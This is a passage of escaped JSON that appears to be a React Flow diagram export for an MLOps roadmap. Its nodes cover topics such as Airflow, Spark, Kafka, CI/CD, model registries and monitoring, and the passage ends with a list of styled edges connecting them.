\"id\": \"Berd78HvnulNEGOsHCf8n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.0253254557053,\n        \"y\": 754.9022665810186\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Ingestion Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.0253254557053,\n        \"y\": 754.9022665810186\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pVSlVHXIap0unFxLGM-lQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.0253254557053,\n        \"y\": 554.2844473298085\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Airflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 95,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -519.0253254557053,\n        \"y\": 554.2844473298085\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 95,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UljuqA89_SlCSDWWMD_C_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 253.05607963417134,\n        \"y\": 649.5330520426936\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Spark\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 123\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 253.05607963417134,\n        \"y\": 649.5330520426936\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fMNwzhgLgHlAZJ9NvKikR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 253.05607963417134,\n        \"y\": 702.5330520426936\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Kafka\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 123\n      },\n      \"positionAbsolute\": {\n        \"x\": 253.05607963417134,\n        \"y\": 702.5330520426936\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o6GQ3-8DgDtHzdX6yeg1w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 253.05607963417134,\n        \"y\": 755.5330520426936\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Flink\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 123\n      },\n      \"positionAbsolute\": {\n        \"x\": 253.05607963417134,\n        \"y\": 755.5330520426936\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iTsEHVCo6KGq7H2HMgy5S\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -208.86391109269857,\n        \"y\": 888.4952084201582\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MLOps Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"l1xasxQy2vAY34NWaqKEe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -208.86391109269857,\n        \"y\": 888.4952084201582\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l1xasxQy2vAY34NWaqKEe\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 45.05607963417134,\n        \"y\": 888.4952084201582\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MLOps Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qbaxC-hB857MKE6Uq_3-t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 45.05607963417134,\n        \"y\": 888.4952084201582\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kHDSwlSq8WkLey4EJIQSR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 184.43931539181858,\n        \"y\": 979.1270488906907\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 347,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 184.43931539181858,\n        \"y\": 979.1270488906907\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a6vawajw7BpL6plH_nuAz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 184.1360889073012,\n        \"y\": 1032.1270488906907\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CI/CD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 108,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 184.1360889073012,\n        \"y\": 1032.1270488906907\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 108,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fes7M--Y8i08_zeP98tVV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 296.4393153918186,\n        \"y\": 1032.1270488906907\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Orchestration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 296.4393153918186,\n        \"y\": 1032.1270488906907\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fGGWKmAJ50Ke6wWJBEgby\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 184.43931539181858,\n        \"y\": 1086.513449674912\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Experiment Tracking & Model Registry\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 347,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 184.43931539181858,\n        \"y\": 1086.513449674912\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6XgP_2NLuiw654zvTyueT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 184.43931539181858,\n        \"y\": 1139.513449674912\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Lineage & Feature Stores\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 347,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 184.43931539181858,\n        \"y\": 1139.513449674912\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zsW1NRb0dMgS-KzWsI0QU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 184.43931539181858,\n        \"y\": 1192.513449674912\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Model Training & Serving\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 347,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 184.43931539181858,\n        \"y\": 1192.513449674912\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r4fbUwD83uYumEO1X8f09\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 184.43931539181858,\n        \"y\": 1245.513449674912\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Monitoring & Observability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 347,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 347,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 184.43931539181858,\n        \"y\": 1245.513449674912\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 347,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sf67bSL7HAx6iN7S6MYKs\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -82.94871154614214,\n        \"y\": 1090.513449674912\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Infrastructure as Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -82.94871154614214,\n        \"y\": 1090.513449674912\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"36akZIuVtQ0f-3d4pJL8k\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -70.44871154614214,\n        \"y\": 1226.513449674912\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Keep learning\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 73,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 73\n      },\n      \"positionAbsolute\": {\n        \"x\": -70.44871154614214,\n        \"y\": 1226.513449674912\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 73\n      }\n    },\n    {\n      \"id\": \"mJPTVaiqPP9tfykaGs1_h\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 16.051288453857865,\n        \"y\": 1299.513449674912\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 94,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 94\n      },\n      \"positionAbsolute\": {\n        \"x\": 16.051288453857865,\n        \"y\": 1299.513449674912\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 94\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_7uvOebQUI4xaSwtMjpEd\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-rQArtuVKGVgLn_fw9yO3bw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_7uvOebQUI4xaSwtMjpEd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Vh81GnOUOZvDOlOyI5PwT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-rQArtuVKGVgLn_fw9yO3bz2-Vh81GnOUOZvDOlOyI5PwTy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_7uvOebQUI4xaSwtMjpEd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"vdVq3RQvQF3mF8PQc6DMg\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-rQArtuVKGVgLn_fw9yO3bz2-vdVq3RQvQF3mF8PQc6DMgy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_7uvOebQUI4xaSwtMjpEd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"mMzqJF2KQ49TDEk5F3VAI\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-rQArtuVKGVgLn_fw9yO3bz2-mMzqJF2KQ49TDEk5F3VAIy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_7uvOebQUI4xaSwtMjpEd\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"oUhlUoWQQ1txx_sepD5ev\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rQArtuVKGVgLn_fw9yO3bx2-oUhlUoWQQ1txx_sepD5evw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oUhlUoWQQ1txx_sepD5ev\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"06T5CbZAGJU6fJhCmqCC8\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-oUhlUoWQQ1txx_sepD5evz2-06T5CbZAGJU6fJhCmqCC8y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_7uvOebQUI4xaSwtMjpEd\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"t768fYHleFqdEL4KKLxUu\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-_7uvOebQUI4xaSwtMjpEdy2-t768fYHleFqdEL4KKLxUuz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oUhlUoWQQ1txx_sepD5ev\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"00GZcwe25QYi7rDzaOoMt\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-oUhlUoWQQ1txx_sepD5evx2-tKeejLv8Q7QX40UtOjpavw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"00GZcwe25QYi7rDzaOoMt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"u3E7FGW4Iwdsu61KYFxCX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tKeejLv8Q7QX40UtOjpavz2-u3E7FGW4Iwdsu61KYFxCXy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"00GZcwe25QYi7rDzaOoMt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kbfucfIO5KCsuv3jKbHTa\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tKeejLv8Q7QX40UtOjpavz2-kbfucfIO5KCsuv3jKbHTay1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"00GZcwe25QYi7rDzaOoMt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"tKeejLv8Q7QX40UtOjpav\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-00GZcwe25QYi7rDzaOoMtx2-tKeejLv8Q7QX40UtOjpavw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tKeejLv8Q7QX40UtOjpav\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"XIdCvT-4HyyglHJLRrHlz\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tKeejLv8Q7QX40UtOjpavz2-XIdCvT-4HyyglHJLRrHlzy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tKeejLv8Q7QX40UtOjpav\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"XQoK9l-xtN2J8ZV8dw53X\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tKeejLv8Q7QX40UtOjpavz2-XQoK9l-xtN2J8ZV8dw53Xy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tKeejLv8Q7QX40UtOjpav\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ulka7VEVjz6ls5SnI6a6z\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-tKeejLv8Q7QX40UtOjpavx2-qbaxC-hB857MKE6Uq_3-tw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ulka7VEVjz6ls5SnI6a6z\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ulka7VEVjz6ls5SnI6a6zx2-qbaxC-hB857MKE6Uq_3-tw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"cOg3ejZRYE-u-M0c89IjM\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qbaxC-hB857MKE6Uq_3-ty2-cOg3ejZRYE-u-M0c89IjMz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"wOogVDV4FIDLXVPwFqJ8C\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qbaxC-hB857MKE6Uq_3-ty2-wOogVDV4FIDLXVPwFqJ8Cz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Berd78HvnulNEGOsHCf8n\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qbaxC-hB857MKE6Uq_3-ty2-Berd78HvnulNEGOsHCf8nz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fMNwzhgLgHlAZJ9NvKikR\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qbaxC-hB857MKE6Uq_3-tz2-fMNwzhgLgHlAZJ9NvKikRy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"UljuqA89_SlCSDWWMD_C_\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qbaxC-hB857MKE6Uq_3-tz2-UljuqA89_SlCSDWWMD_C_y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"o6GQ3-8DgDtHzdX6yeg1w\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qbaxC-hB857MKE6Uq_3-tz2-o6GQ3-8DgDtHzdX6yeg1wy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VykbCu7LWIx8fQpqKzoA7\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"iTsEHVCo6KGq7H2HMgy5S\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": 